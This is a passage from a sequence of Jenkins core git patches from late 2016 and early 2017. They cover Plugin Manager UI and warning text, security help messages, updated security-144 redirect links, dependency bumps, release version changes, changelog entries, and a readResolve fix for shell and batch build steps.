assertTrue("Properties should always be injected, even when build variables injection is enabled", + log.contains("-DTEST_PROP1=VAL1") && log.contains("-DTEST_PROP2=VAL2")); } } -- GitLab From ff6f601f5e9b9f639ef95ab814605f590f727da9 Mon Sep 17 00:00:00 2001 From: bpedersen2 Date: Fri, 16 Dec 2016 22:53:20 +0100 Subject: [PATCH 529/712] [JENKINS-39971] Always display the recheck button in the Plugin Manager (#2668) The re-check updatecenter button should be visible even if there are currently no pending updates. (cherry picked from commit 8634965a4f4833c93cf6f7f368891d7b54e7983f) --- .../main/resources/hudson/PluginManager/table.jelly | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/core/src/main/resources/hudson/PluginManager/table.jelly b/core/src/main/resources/hudson/PluginManager/table.jelly index ee41463e4e..7511c82584 100644 --- a/core/src/main/resources/hudson/PluginManager/table.jelly +++ b/core/src/main/resources/hudson/PluginManager/table.jelly @@ -148,18 +148,18 @@ THE SOFTWARE. - -
                                      -
                                      +
                                      +
                                      + - + +
                                      - -- GitLab From ce8edf0d6d40bfb3613b28a4e8bfefbac52cb2a2 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sun, 25 Dec 2016 16:37:18 +0100 Subject: [PATCH 530/712] [FIXED JENKINS-40666] - Correctly state that Jenkins will refuse to load plugins. (#2677) [JENKINS-40666] - Correctly state that Jenkins will refuse to load plugins. (cherry picked from commit d05752a03248035bc571732ed8c3cf6cf1e4dc05) --- .../main/resources/hudson/PluginManager/table.properties | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/core/src/main/resources/hudson/PluginManager/table.properties b/core/src/main/resources/hudson/PluginManager/table.properties index 4b5ae95d9b..35dffc1144 100644 --- a/core/src/main/resources/hudson/PluginManager/table.properties +++ b/core/src/main/resources/hudson/PluginManager/table.properties @@ -25,15 +25,14 @@ compatWarning=\ Consult the plugin release notes for details. coreWarning=\ Warning: This plugin is built for Jenkins {0} or newer. \ - It may or may not work in your Jenkins. + Jenkins will refuse to load this plugin if installed. depCompatWarning=\ Warning: This plugin requires dependent plugins be upgraded and at least one of these dependent plugins claims to use a different settings format than the installed version. \ Jobs using that plugin may need to be reconfigured, and/or you may not be able to cleanly revert to the prior version without manually restoring old settings. \ Consult the plugin release notes for details. depCoreWarning=\ - Warning: This plugin requires dependent plugins that are \ - built for Jenkins {0} or newer. The dependent plugins may \ - or may not work in your Jenkins and consequently this \ - plugin may or may not work in your Jenkins. + Warning: This plugin requires dependent plugins that require Jenkins {0} or newer. \ + Jenkins will refuse to load the dependent plugins requiring a newer version of Jenkins, \ + and in turn loading this plugin will fail. securityWarning=\ Warning: This plugin version may not be safe to use. Please review the following security notices: -- GitLab From ea97d511948ad4f3ae0a972d693aabab4a993ec1 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Fri, 16 Dec 2016 22:52:31 +0100 Subject: [PATCH 531/712] [JENKINS-40435] - Use BulkChange when processing config changes in Job#doConfigSubmit. (#2664) When an empty Freestyle job config gets submitted in the default configuration of Jenkins 2.35, the data is being saved to the disk *8 times*. All of them happen in this code: https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/hudson/model/Job.java#L1227-L1246 * setDisplayName * Project#getBuildWrappersList().rebuild (onModified handler) * Project#getBuilderList().rebuild (onModified handler) * Project#getPublisherList().rebuild (onModified handler) * AbstractProject#makeDisabled * AbstractProject#setScm * AbstractProject#triggers.replaceBy * final save() There is not so much sense to save partial configurations to the disk due to the risk of data inconsistency there. This change just wraps the config submission section of the job into the BulkChange clause. (cherry picked from commit a0262d2fec648fe98e83a08f1735394a9f243f4d) --- core/src/main/java/hudson/model/Job.java | 35 ++++++++++++------------ 1 file changed, 18 insertions(+), 17 deletions(-) diff --git a/core/src/main/java/hudson/model/Job.java b/core/src/main/java/hudson/model/Job.java index 9dc1e2752a..88d39ac15f 100644 --- a/core/src/main/java/hudson/model/Job.java +++ b/core/src/main/java/hudson/model/Job.java @@ -1224,26 +1224,27 @@ public abstract class Job, RunT extends Run, JobPropertyDescriptor> t = new DescribableList, JobPropertyDescriptor>(NOOP,getAllProperties()); - JSONObject jsonProperties = json.optJSONObject("properties"); - if (jsonProperties != null) { - t.rebuild(req,jsonProperties,JobPropertyDescriptor.getPropertyDescriptors(Job.this.getClass())); - } else { - t.clear(); - } - properties.clear(); - for (JobProperty p : t) { - p.setOwner(this); - properties.add(p); - } - - submit(req, rsp); + DescribableList, JobPropertyDescriptor> t = new DescribableList, JobPropertyDescriptor>(NOOP,getAllProperties()); + JSONObject jsonProperties = json.optJSONObject("properties"); + if (jsonProperties != null) { + t.rebuild(req,jsonProperties,JobPropertyDescriptor.getPropertyDescriptors(Job.this.getClass())); + } else { + t.clear(); + } + properties.clear(); + for (JobProperty p : t) { + p.setOwner(this); + properties.add(p); + } - save(); + submit(req, rsp); + bc.commit(); + } ItemListener.fireOnUpdated(this); String newName = req.getParameter("name"); -- GitLab From 2dcaddeaabad99e98090165bb5affa431888bd9a Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Wed, 11 Jan 2017 20:45:40 +0100 Subject: [PATCH 532/712] More strongly worded message on enabling security --- .../diagnostics/SecurityIsOffMonitor/message.properties | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/src/main/resources/jenkins/diagnostics/SecurityIsOffMonitor/message.properties b/core/src/main/resources/jenkins/diagnostics/SecurityIsOffMonitor/message.properties index 8f9e0d816e..2766958d4e 100644 --- a/core/src/main/resources/jenkins/diagnostics/SecurityIsOffMonitor/message.properties +++ b/core/src/main/resources/jenkins/diagnostics/SecurityIsOffMonitor/message.properties @@ -21,5 +21,5 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # -blurb=Unsecured Jenkins allows anyone on the network to launch processes on your behalf. \ - Consider at least enabling authentication to discourage misuse. \ No newline at end of file +blurb=Jenkins is currently unsecured and allows anyone on the network to launch processes on your behalf. \ + It is recommended to set up security and to limit anonymous access even on private networks. -- GitLab From 81c0f46ca5577918295541746083d757ea74eb22 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Wed, 11 Jan 2017 20:54:56 +0100 Subject: [PATCH 533/712] [FIX JENKINS-40813] Better message on 'Enable security' option --- .../help-useSecurity.html | 21 +++++++------------ 1 file changed, 8 insertions(+), 13 deletions(-) diff --git a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity.html b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity.html index ad1c5cecd0..6ededf98ff 100644 --- a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity.html +++ b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity.html @@ -1,20 +1,15 @@
                                      - If enabled, you have to login with a username and a password that has the "admin" role - before changing the configuration or running a new build (look for the "login" link - at the top right portion of the page). - Configuration of user accounts is specific to the web container you are using. - (For example, in Tomcat, by default, it looks for $TOMCAT_HOME/conf/tomcat-users.xml) -

                                      - If you are using Jenkins in an intranet (or other "trusted" environment), it's usually - desirable to leave this checkbox off, so that each project developer can configure their own - project without bothering you. + Enabling security allows configuring authentication (how people can identify themselves) and authorization (what + permissions they get). +

                                      - If you are exposing Jenkins to the internet, you must turn this on. Jenkins launches - processes, so insecure Jenkins is a sure way of being hacked. + A number of options are built in. Please note that granting significant permissions to anonymous users, or allowing + users to sign up and granting permissions to all authenticated users, does not actually increase security. +

                                      - For more information about security and Jenkins, see - this document. + For more information about security and Jenkins, see + this document.

                                      -- GitLab From 5c8c64be06a804ef24805e4db31efbf5963fc66c Mon Sep 17 00:00:00 2001 From: Daniel Spilker Date: Fri, 13 Jan 2017 12:05:21 +0100 Subject: [PATCH 534/712] updated Groovy to 2.4.8 [FIXES JENKINS-33358] --- core/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/pom.xml b/core/pom.xml index dae3d70f75..fc2415419d 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -41,7 +41,7 @@ THE SOFTWARE. true 1.248 2.5.6.SEC03 - 2.4.7 + 2.4.8 true -- GitLab From 9fbcb99ded55c7cb9ca5a1c5349fe888bbbcdfe3 Mon Sep 17 00:00:00 2001 From: "R. Tyler Croy" Date: Tue, 3 Jan 2017 15:10:55 -0800 Subject: [PATCH 535/712] Update the Agent => Master security link to point to a non-Apache redirect This help text points to a very old redirect which is only editable in our infrastructure Puppet code (which will at some point in the distant future be removed). Changing to jenkins.io/redirect means that the destination of this redirect is easily modified by pull requests to https://github.com/jenkins-infra/jenkins.io See also jenkins-infra/jenkins.io#520 --- core/src/main/java/jenkins/SoloFilePathFilter.java | 2 +- .../java/jenkins/security/s2m/CallableDirectionChecker.java | 2 +- .../jenkins/security/s2m/AdminWhitelistRule/index.jelly | 2 +- .../help-masterToSlaveAccessControl.html | 2 +- .../security/s2m/MasterKillSwitchWarning/message.properties | 2 +- .../s2m/MasterKillSwitchWarning/message_pt_BR.properties | 4 ++-- .../s2m/MasterKillSwitchWarning/message_sr.properties | 2 +- core/src/main/resources/jenkins/security/s2m/callable.conf | 2 +- .../main/resources/jenkins/security/s2m/filepath-filter.conf | 2 +- 9 files changed, 10 insertions(+), 10 deletions(-) diff --git a/core/src/main/java/jenkins/SoloFilePathFilter.java b/core/src/main/java/jenkins/SoloFilePathFilter.java index 9897284582..ce13575982 100644 --- a/core/src/main/java/jenkins/SoloFilePathFilter.java +++ b/core/src/main/java/jenkins/SoloFilePathFilter.java @@ -28,7 +28,7 @@ public final class SoloFilePathFilter extends FilePathFilter { private boolean noFalse(String op, File f, boolean b) { if (!b) - throw new SecurityException("agent may not " + op + " " + f+"\nSee http://jenkins-ci.org/security-144 for more details"); + throw new SecurityException("agent may not " + op + " " + f+"\nSee https://jenkins.io/redirect/security-144 for more details"); return true; } diff --git a/core/src/main/java/jenkins/security/s2m/CallableDirectionChecker.java b/core/src/main/java/jenkins/security/s2m/CallableDirectionChecker.java index 858375a8ab..d21c5a5880 100644 --- a/core/src/main/java/jenkins/security/s2m/CallableDirectionChecker.java +++ b/core/src/main/java/jenkins/security/s2m/CallableDirectionChecker.java @@ -60,7 +60,7 @@ public class CallableDirectionChecker extends RoleChecker { return; } - throw new SecurityException("Sending " + name + " from agent to master is prohibited.\nSee http://jenkins-ci.org/security-144 for more details"); + throw new SecurityException("Sending " + name + " from agent to master is prohibited.\nSee https://jenkins.io/redirect/security-144 for more details"); } /** diff --git a/core/src/main/resources/jenkins/security/s2m/AdminWhitelistRule/index.jelly b/core/src/main/resources/jenkins/security/s2m/AdminWhitelistRule/index.jelly index d4c181f80f..738fe7cf02 100644 --- a/core/src/main/resources/jenkins/security/s2m/AdminWhitelistRule/index.jelly +++ b/core/src/main/resources/jenkins/security/s2m/AdminWhitelistRule/index.jelly @@ -36,7 +36,7 @@ THE SOFTWARE. as an administrator, you can mark commands as OK for agents to execute (aka "whitelisting".)

                                      - Please see the discussion of this feature to + Please see the discussion of this feature to understand the security implication of this.
                                      diff --git a/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchConfiguration/help-masterToSlaveAccessControl.html b/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchConfiguration/help-masterToSlaveAccessControl.html index e47019b266..af45b30516 100644 --- a/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchConfiguration/help-masterToSlaveAccessControl.html +++ b/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchConfiguration/help-masterToSlaveAccessControl.html @@ -1,4 +1,4 @@
                                      - See Jenkins project website for discussion of this feature. + See Jenkins project website for discussion of this feature. We strongly recommend you enable this.
                                      diff --git a/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message.properties b/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message.properties index fe6e52c2b5..48ec09a5df 100644 --- a/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message.properties +++ b/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message.properties @@ -1,2 +1,2 @@ blurb=Agent to master security subsystem is currently off. \ - Please read the documentation and consider turning it on. \ No newline at end of file + Please read the documentation and consider turning it on. diff --git a/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message_pt_BR.properties b/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message_pt_BR.properties index 9fcd4e1473..bd5c7db995 100644 --- a/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message_pt_BR.properties +++ b/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message_pt_BR.properties @@ -22,5 +22,5 @@ Examine= Dismiss= -# Please read the documentation and consider turning it on. - Por favor leia a documenta\u00e7\u00e3o e ligue novamente. +# Please read the documentation and consider turning it on. + Por favor leia a documenta\u00e7\u00e3o e ligue novamente. diff --git a/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message_sr.properties b/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message_sr.properties index f92800a9ed..41945798fe 100644 --- a/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message_sr.properties +++ b/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message_sr.properties @@ -3,4 +3,4 @@ Examine= Dismiss=\u041E\u0442\u043A\u0430\u0436\u0438 blurb=\u0421\u0438\u0441\u0442\u0435\u043C \u043E\u0431\u0435\u0437\u0431\u0435\u0436\u0438\u0432\u0430\u045A\u0430 \u0432\u0435\u0437\u043E\u043C \u0438\u0437\u043C\u0435\u0452\u0443 \u0430\u0433\u0435\u043D\u0442\u0430 \u0438 \u043C\u0430\u0441\u0442\u0435\u0440\u0430 \u0458\u0435 \u0438\u0441\u043A\u0459\u0443\u0447\u0435\u043D. \ - \u041C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441, \u043F\u0440\u043E\u0447\u0438\u0442\u0430\u0458\u0442\u0435 \u0434\u043E\u043A\u043C\u0435\u043D\u0442\u0430\u0446\u0438\u0458\u0443 \u0438 \u0443\u043A\u0459\u0443\u0447\u0438\u0442\u0435 \u0430\u043A\u043E \u0432\u0430\u043C \u0458\u0435 \u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E. + \u041C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441, \u043F\u0440\u043E\u0447\u0438\u0442\u0430\u0458\u0442\u0435 \u0434\u043E\u043A\u043C\u0435\u043D\u0442\u0430\u0446\u0438\u0458\u0443 \u0438 \u0443\u043A\u0459\u0443\u0447\u0438\u0442\u0435 \u0430\u043A\u043E \u0432\u0430\u043C \u0458\u0435 \u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E. diff --git a/core/src/main/resources/jenkins/security/s2m/callable.conf b/core/src/main/resources/jenkins/security/s2m/callable.conf index 070379c61f..cb8943df26 100644 --- a/core/src/main/resources/jenkins/security/s2m/callable.conf +++ b/core/src/main/resources/jenkins/security/s2m/callable.conf @@ -5,7 +5,7 @@ # To whitelist other names, place *.conf files by other names into this folder. # This file gets overwritten every time Jenkins starts. # -# See http://jenkins-ci.org/security-144 for more details. +# See https://jenkins.io/redirect/security-144 for more details. # maven plugin hudson.maven.MavenBuildProxy$Filter$AsyncInvoker diff --git a/core/src/main/resources/jenkins/security/s2m/filepath-filter.conf b/core/src/main/resources/jenkins/security/s2m/filepath-filter.conf index c1883cc562..affea08f69 100644 --- a/core/src/main/resources/jenkins/security/s2m/filepath-filter.conf +++ b/core/src/main/resources/jenkins/security/s2m/filepath-filter.conf @@ -7,7 +7,7 @@ # before parsed, so using a lower number allows you to override what we have here. This file # gets overwritten every time Jenkins starts. # -# See http://jenkins-ci.org/security-144 for more details. +# See https://jenkins.io/redirect/security-144 for more details. # This directory contains credentials, master encryption keys, and other sensitive information # that slaves have absolutely no business with. -- GitLab From a1fde68ed7579364d0f682c7fae1e7c43c05cbdc Mon Sep 17 00:00:00 2001 From: Baptiste Mathus Date: Sat, 14 Jan 2017 23:38:26 +0100 Subject: [PATCH 536/712] [INFRA-1032] hack around by forcing user.name --- Jenkinsfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Jenkinsfile b/Jenkinsfile index 16259bc1c7..73bcc7ae51 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -48,7 +48,7 @@ for(i = 0; i < buildTypes.size(); i++) { if(isUnix()) { sh mvnCmd } else { - bat mvnCmd + bat "$mvnCmd -Duser.name=yay" // INFRA-1032 workaround } } } -- GitLab From dd3dc92df2dc8dd30a50d71b138b5a36aae5ea8e Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 15 Jan 2017 20:30:05 -0800 Subject: [PATCH 537/712] Fixed a regression in 9fbcb99ded55c7cb9ca5a1c5349fe888bbbcdfe3 The test was not updated to reflect the URL change. This is blocking a release. --- .../test/java/hudson/bugs/JnlpAccessWithSecuredHudsonTest.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/src/test/java/hudson/bugs/JnlpAccessWithSecuredHudsonTest.java b/test/src/test/java/hudson/bugs/JnlpAccessWithSecuredHudsonTest.java index e047da3073..af0c270163 100644 --- a/test/src/test/java/hudson/bugs/JnlpAccessWithSecuredHudsonTest.java +++ b/test/src/test/java/hudson/bugs/JnlpAccessWithSecuredHudsonTest.java @@ -124,7 +124,7 @@ public class JnlpAccessWithSecuredHudsonTest extends HudsonTestCase { fail("SECURITY-206: " + channel.call(new Attack(f.getAbsolutePath()))); } catch (SecurityException x) { System.out.println("expected: " + x); - assertTrue(x.getMessage().contains("http://jenkins-ci.org/security-144")); + assertTrue(x.getMessage().contains("https://jenkins.io/redirect/security-144")); } return; } -- GitLab From 0c13742be014d85727849141d29ca2b52243f6e2 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 15 Jan 2017 21:23:07 -0800 Subject: [PATCH 538/712] [maven-release-plugin] prepare release jenkins-2.41 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index f7ea4a0543..22c13991b5 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.41-SNAPSHOT + 2.41 cli diff --git a/core/pom.xml b/core/pom.xml index dae3d70f75..56b7940dae 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.41-SNAPSHOT + 2.41 jenkins-core diff --git a/pom.xml b/pom.xml index a78176f2dc..badd726307 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.41-SNAPSHOT + 2.41 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.41 diff --git a/test/pom.xml b/test/pom.xml index a7b5f557db..82ac29a3fc 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.41-SNAPSHOT + 2.41 test diff --git a/war/pom.xml b/war/pom.xml index 9fdd44ce21..ad5e4c77b2 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.41-SNAPSHOT + 2.41 jenkins-war -- GitLab From 98109f10deadb5b46407472b6acc52c9f343d6ef Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 15 Jan 2017 21:23:07 -0800 Subject: [PATCH 539/712] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 22c13991b5..1476cd850b 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.41 + 2.42-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 56b7940dae..9ef49b064f 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.41 + 2.42-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index badd726307..4b96c2133a 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.41 + 2.42-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.41 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 82ac29a3fc..954f8b33c6 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.41 + 2.42-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index ad5e4c77b2..a3632779e5 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.41 + 2.42-SNAPSHOT jenkins-war -- GitLab From 3001230f9a1ca67c032326da6e8b493de67d5c65 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 15 Jan 2017 21:30:19 -0800 Subject: [PATCH 540/712] updated changelog for release --- changelog.html | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/changelog.html b/changelog.html index 4cbd39792e..ee5810e386 100644 --- a/changelog.html +++ b/changelog.html @@ -59,6 +59,10 @@ Upcoming changes
                                    +

                                    What's new in 2.41 (2017/01/15)

                                    +
                                      +
                                    • +

                                    What's new in 2.40 (2017/01/08)

                                    • -- GitLab From e663b315ee8fc024dcab4cfa6821430a89a48cc3 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 16 Jan 2017 12:20:34 +0100 Subject: [PATCH 541/712] Noting #2706, #2709, #2713, #2714, #2712 --- changelog.html | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index ee5810e386..cfe1605754 100644 --- a/changelog.html +++ b/changelog.html @@ -61,7 +61,21 @@ Upcoming changes

                                      What's new in 2.41 (2017/01/15)

                                        -
                                      • +
                                      • + Restore option value for setting build result to unstable when loading shell and batch build steps from disk. + (issue 40894) +
                                      • + Autocomplete admin-only links in search suggestions only when admin. + (issue 7874) +
                                      • + Improve agent protocol descriptions. + (issue 40700) +
                                      • + Improve description for Enable Security option and administrative monitor when security is off. + (issue 40813) +
                                      • + Enable the JNLP4 agent protocol by default. + (issue 40886)

                                      What's new in 2.40 (2017/01/08)

                                        -- GitLab From 5b370be0871d81b7b7d774ff9f0ee3f8478ea2c9 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 16 Jan 2017 12:55:05 +0100 Subject: [PATCH 542/712] Clarify PluginManager#getPlugin() and Jenkins#getPlugin() methods --- core/src/main/java/hudson/PluginManager.java | 10 ++++++++-- core/src/main/java/jenkins/model/Jenkins.java | 14 ++++++++++---- 2 files changed, 18 insertions(+), 6 deletions(-) diff --git a/core/src/main/java/hudson/PluginManager.java b/core/src/main/java/hudson/PluginManager.java index e46068ab10..8673d99ee4 100644 --- a/core/src/main/java/hudson/PluginManager.java +++ b/core/src/main/java/hudson/PluginManager.java @@ -1145,8 +1145,11 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas /** * Get the plugin instance with the given short name. * @param shortName the short name of the plugin - * @return The plugin singleton or null if a plugin with the given short name does not exist. + * @return The plugin singleton or {@code null} if a plugin with the given short name does not exist. + * The fact the plugin is loaded does not mean it is enabled and fully initialized for the current Jenkins session. + * Use {@link PluginWrapper#isActive()} to check it. */ + @CheckForNull public PluginWrapper getPlugin(String shortName) { for (PluginWrapper p : getPlugins()) { if(p.getShortName().equals(shortName)) @@ -1159,8 +1162,11 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas * Get the plugin instance that implements a specific class, use to find your plugin singleton. * Note: beware the classloader fun. * @param pluginClazz The class that your plugin implements. - * @return The plugin singleton or null if for some reason the plugin is not loaded. + * @return The plugin singleton or {@code null} if for some reason the plugin is not loaded. + * The fact the plugin is loaded does not mean it is enabled and fully initialized for the current Jenkins session. + * Use {@link Plugin#getWrapper()} and then {@link PluginWrapper#isActive()} to check it. */ + @CheckForNull public PluginWrapper getPlugin(Class pluginClazz) { for (PluginWrapper p : getPlugins()) { if(pluginClazz.isInstance(p.getPlugin())) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 8ce9542eab..0d9a4b5b2f 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -1556,11 +1556,14 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve /** * Gets the plugin object from its short name. - * - *

                                        * This allows URL hudson/plugin/ID to be served by the views * of the plugin class. + * @param shortName Short name of the plugin + * @return The plugin singleton or {@code null} if for some reason the plugin is not loaded. + * The fact the plugin is loaded does not mean it is enabled and fully initialized for the current Jenkins session. + * Use {@link Plugin#getWrapper()} and then {@link PluginWrapper#isActive()} to check it. */ + @CheckForNull public Plugin getPlugin(String shortName) { PluginWrapper p = pluginManager.getPlugin(shortName); if(p==null) return null; @@ -1574,12 +1577,15 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve * This allows easy storage of plugin information in the plugin singleton without * every plugin reimplementing the singleton pattern. * + * @param

                                        Class of the plugin * @param clazz The plugin class (beware class-loader fun, this will probably only work * from within the jpi that defines the plugin class, it may or may not work in other cases) - * - * @return The plugin instance. + * @return The plugin singleton or {@code null} if for some reason the plugin is not loaded. + * The fact the plugin is loaded does not mean it is enabled and fully initialized for the current Jenkins session. + * Use {@link Plugin#getWrapper()} and then {@link PluginWrapper#isActive()} to check it. */ @SuppressWarnings("unchecked") + @CheckForNull public

                                        P getPlugin(Class

                                        clazz) { PluginWrapper p = pluginManager.getPlugin(clazz); if(p==null) return null; -- GitLab From 1e5e53a5fbf1e40ba637f1b21214e0fb8a0bee8b Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 17 Jan 2017 12:36:54 -0500 Subject: [PATCH 543/712] [FIXED JENKINS-37625] Update Winstone to fix an IllegalStateException. --- war/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/war/pom.xml b/war/pom.xml index a3632779e5..b2a6bc1efb 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -93,7 +93,7 @@ THE SOFTWARE. --> org.jenkins-ci winstone - 3.2 + 3.3 test -- GitLab From e04da4a2c2c5578b3a92a9b928f30e53d75865a3 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Wed, 11 Jan 2017 00:51:26 +0100 Subject: [PATCH 544/712] [FIX JENKINS-40894] Restore unstableReturn in readResolve (cherry picked from commit 93467c3f4bc74172b41543eea13e6771916d435a) --- core/src/main/java/hudson/tasks/BatchFile.java | 4 +++- core/src/main/java/hudson/tasks/Shell.java | 4 +++- .../test/java/hudson/tasks/BatchFileTest.java | 11 +++++++++++ test/src/test/java/hudson/tasks/ShellTest.java | 10 ++++++++++ .../canLoadUnstableReturnFromDisk.zip | Bin 0 -> 1056 bytes .../ShellTest/canLoadUnstableReturnFromDisk.zip | Bin 0 -> 1059 bytes 6 files changed, 27 insertions(+), 2 deletions(-) create mode 100644 test/src/test/resources/hudson/tasks/BatchFileTest/canLoadUnstableReturnFromDisk.zip create mode 100644 test/src/test/resources/hudson/tasks/ShellTest/canLoadUnstableReturnFromDisk.zip diff --git a/core/src/main/java/hudson/tasks/BatchFile.java b/core/src/main/java/hudson/tasks/BatchFile.java index 675c316eeb..b6bf2bb74c 100644 --- a/core/src/main/java/hudson/tasks/BatchFile.java +++ b/core/src/main/java/hudson/tasks/BatchFile.java @@ -81,7 +81,9 @@ public class BatchFile extends CommandInterpreter { } private Object readResolve() throws ObjectStreamException { - return new BatchFile(command); + BatchFile batch = new BatchFile(command); + batch.setUnstableReturn(unstableReturn); + return batch; } @Extension @Symbol("batchFile") diff --git a/core/src/main/java/hudson/tasks/Shell.java b/core/src/main/java/hudson/tasks/Shell.java index 1986e2dea7..4360f4ce94 100644 --- a/core/src/main/java/hudson/tasks/Shell.java +++ b/core/src/main/java/hudson/tasks/Shell.java @@ -125,7 +125,9 @@ public class Shell extends CommandInterpreter { } private Object readResolve() throws ObjectStreamException { - return new Shell(command); + Shell shell = new Shell(command); + shell.setUnstableReturn(unstableReturn); + return shell; } @Extension @Symbol("shell") diff --git a/test/src/test/java/hudson/tasks/BatchFileTest.java b/test/src/test/java/hudson/tasks/BatchFileTest.java index 93673d6c95..2251bb5089 100644 --- a/test/src/test/java/hudson/tasks/BatchFileTest.java +++ b/test/src/test/java/hudson/tasks/BatchFileTest.java @@ -1,5 +1,6 @@ package hudson.tasks; +import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNull; import static org.junit.Assume.assumeTrue; @@ -16,6 +17,7 @@ import hudson.Launcher.ProcStarter; import hudson.Proc; import hudson.model.Result; import hudson.model.FreeStyleProject; +import org.jvnet.hudson.test.recipes.LocalData; /** @@ -148,4 +150,13 @@ public class BatchFileTest { /* Creating unstable=0 produces unstable=null */ assertNull( 